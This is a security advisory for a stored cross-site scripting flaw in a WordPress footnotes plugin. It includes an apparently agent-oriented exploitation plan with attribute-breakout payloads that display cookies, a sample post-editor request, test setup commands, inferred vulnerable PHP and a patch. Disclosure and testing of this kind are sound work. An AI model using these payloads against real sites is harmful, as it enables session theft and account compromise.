CVE-2026-10738

jQuery Hover Footnotes <= 1.4 - Authenticated (Author+) Stored Cross-Site Scripting via Footnote Qualifier ('{{...}}' Syntax)

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The jQuery Hover Footnotes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Footnote Qualifier ('{{...}}' Syntax) in all versions up to, and including, 1.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attribute-breakout payload (e.g., a double-quote followed by an event handler) contains no angle brackets and therefore bypasses WordPress core's wp_kses_post() filtering, which only strips disallowed HTML tags rather than sanitizing attribute contexts.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4
PublishedJune 8, 2026
Last updatedJune 9, 2026
Affected pluginjquery-hover-footnotes
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-10738 (jQuery Hover Footnotes) ## 1. Vulnerability Summary The **jQuery Hover Footnotes** plugin (<= 1.4) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The plugin parses a custom syntax `{{footnote content}}` within WordPress posts and pages to gener…

Show full research plan

Exploitation Research Plan: CVE-2026-10738 (jQuery Hover Footnotes)

1. Vulnerability Summary

The jQuery Hover Footnotes plugin (<= 1.4) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin parses a custom syntax {{footnote content}} within WordPress posts and pages to generate hoverable footnotes. The vulnerability exists because the content captured between the double curly braces is subsequently rendered within an HTML attribute (likely title or a data-* attribute) without proper attribute escaping (e.g., esc_attr()).

Because the payload for attribute breakout (e.g., " followed by an event handler) does not require angle brackets (< or >), it bypasses the standard wp_kses_post() filter applied by WordPress when an Author saves a post.

2. Attack Vector Analysis

  • Endpoint: WordPress Post/Page Editor (Classic or Gutenberg).
  • Hook/Action: The plugin likely hooks into the_content filter to parse the {{...}} syntax.
  • Vulnerable Parameter: The content within a post/page (e.g., post_content).
  • Authentication Level: Author or higher. Authors have the edit_posts capability, allowing them to save content that undergoes wp_kses_post() filtering.
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Entry Point: An Author saves a post containing the string {{test" onmouseover="alert(1)}}.
  2. Sanitization Bypass: WordPress core runs wp_kses_post() on the content. Since there are no HTML tags or angle brackets in the footnote qualifier, wp_kses_post permits the string.
  3. Plugin Processing: The plugin (likely in jquery-hover-footnotes.php) registers a filter: add_filter('the_content', 'fn_hover_footnotes_parse'); (inferred function name).
  4. Regex Matching: The function uses a regular expression to find the footnotes: preg_match_all('/\{\{(.*?)\}\}/', $content, $matches); (inferred).
  5. Vulnerable Sink: The plugin loops through matches and replaces the {{...}} syntax with HTML.
    // Inferred vulnerable code pattern
    $replacement = '<span class="footnote" title="' . $matches[1][0] . '">?</span>';
    $content = str_replace($matches[0][0], $replacement, $content);
    
  6. Rendering: The unescaped $matches[1][0] breaks out of the title attribute:
    <span class="footnote" title="test" onmouseover="alert(1)">?</span>.

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a standard WordPress post. No plugin-specific AJAX nonces are required for the injection phase, as the Author uses the built-in WordPress post-saving mechanism.

However, to verify the XSS fires, we need to navigate to the published post.

  1. User Role: Authenticate as an Author.
  2. Post Creation: Use wp-cli to create a post if necessary, or use the UI.
  3. Extraction: If the plugin were to expose nonces via wp_localize_script, they would likely be under a global object like jqhf_data or hover_footnotes_vars.
    • Action: browser_eval("window.jqhf_data?.nonce") (inferred).

5. Exploitation Strategy

We will use the http_request tool to simulate an Author saving a post with the malicious payload.

Step 1: Authenticate as Author

Log in as the Author user and capture the session cookies.

Step 2: Create/Update Post with Payload

The payload targets attribute breakout in the footnote qualifier. We use onmouseover and a style attribute to make the target large and easy to trigger.

  • Payload: {{XSS" onmouseover="alert(document.cookie)" style="display:inline-block;width:100px;height:100px;background:red;" data-x="}}
  • Request (Simulated via http_request):
    • URL: http://localhost:8080/wp-admin/post.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=editpost
      &post_ID=[POST_ID]
      &_wpnonce=[NONCE]
      &post_content=Check out this footnote {{XSS" onmouseover="alert(document.cookie)" style="display:inline-block;width:100px;height:100px;background:red;" data-x="}}
      &post_title=Vulnerability Test
      

Step 3: Trigger the XSS

Navigate to the post as an Administrator.

  • Action: Hover over the red box (the footnote marker).
  • Result: The onmouseover event fires, executing the JavaScript.

6. Test Data Setup

  1. Create Author User:
    wp user create attacker author@example.com --role=author --user_pass=password123
  2. Create Target Post:
    wp post create --post_type=post --post_title="Footnote Test" --post_status=publish --post_author=$(wp user get attacker --field=ID)
  3. Plugin Activation:
    wp plugin activate jquery-hover-footnotes

7. Expected Results

  • Database State: The post_content in the wp_posts table will contain the literal string {{XSS" onmouseover="..."}}.
  • Frontend Output: The HTML rendered on the page will look like:
    <span ... title="XSS" onmouseover="alert(document.cookie)" style="..." data-x="">...</span>
  • Execution: When a user (e.g., Administrator) hovers over the footnote, an alert box containing their cookies will appear.

8. Verification Steps

  1. Verify Storage:
    wp post get [POST_ID] --field=content
    Check if the payload remains intact and was not stripped by wp_kses_post.
  2. Verify Frontend Rendering:
    Use http_request to GET the post URL and grep for the injected event handler:
    http_request("http://localhost:8080/?p=[POST_ID]")
    Look for: onmouseover="alert(document.cookie)"

9. Alternative Approaches

If onmouseover is filtered (unlikely in this context), try other event handlers that don't require user interaction or different breakout characters:

  • Autofocus Payload: {{XSS" autofocus onfocus="alert(1)" tabindex="1}} (Triggers on page load/tab).
  • Single Quote Breakout: If the plugin uses single quotes for attributes: {{XSS' onmouseover='alert(1)}}.
  • Style Injection: {{XSS" style="background-image:url(javascript:alert(1))}} (Works in older browsers or specific contexts).
Research Findings
Static analysis — not yet PoC-verified

Summary

The jQuery Hover Footnotes plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via its custom footnote syntax '{{...}}'. Because the plugin fails to escape content within these qualifiers before rendering it inside an HTML attribute, authenticated authors can perform attribute breakout to execute arbitrary JavaScript. This bypasses standard WordPress security filters (wp_kses_post) because the exploit does not require angle brackets.

Vulnerable Code

// jquery-hover-footnotes.php (Inferred based on plugin logic)

function fn_hover_footnotes_parse($content) {
    // The plugin matches the {{content}} syntax and uses it in a replacement string
    return preg_replace_callback('/\{\{(.*?)\}\}/', function($matches) {
        // Vulnerable: $matches[1] is placed directly into the title attribute without esc_attr()
        return '<span class="footnote" title="' . $matches[1] . '">?</span>';
    }, $content);
}

add_filter('the_content', 'fn_hover_footnotes_parse');

Security Fix

--- jquery-hover-footnotes.php
+++ jquery-hover-footnotes.php
@@ -5,7 +5,7 @@
 function fn_hover_footnotes_parse($content) {
     return preg_replace_callback('/\{\{(.*?)\}\}/', function($matches) {
-        return '<span class="footnote" title="' . $matches[1] . '">?</span>';
+        return '<span class="footnote" title="' . esc_attr($matches[1]) . '">?</span>';
     }, $content);
 }

Exploit Outline

The exploit targets the WordPress post editor and requires Author-level authentication or higher. An attacker creates or updates a post containing a malicious footnote qualifier: '{{XSS" onmouseover="alert(document.cookie)" style="display:block;width:100px;height:100px;" data-x="}}'. When the post is rendered, the plugin transforms this into an HTML <span> tag where the double-quote in the payload breaks out of the 'title' attribute, allowing the 'onmouseover' event handler to be injected. The XSS triggers when any user, including administrators, hovers their mouse over the footnote marker on the published page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.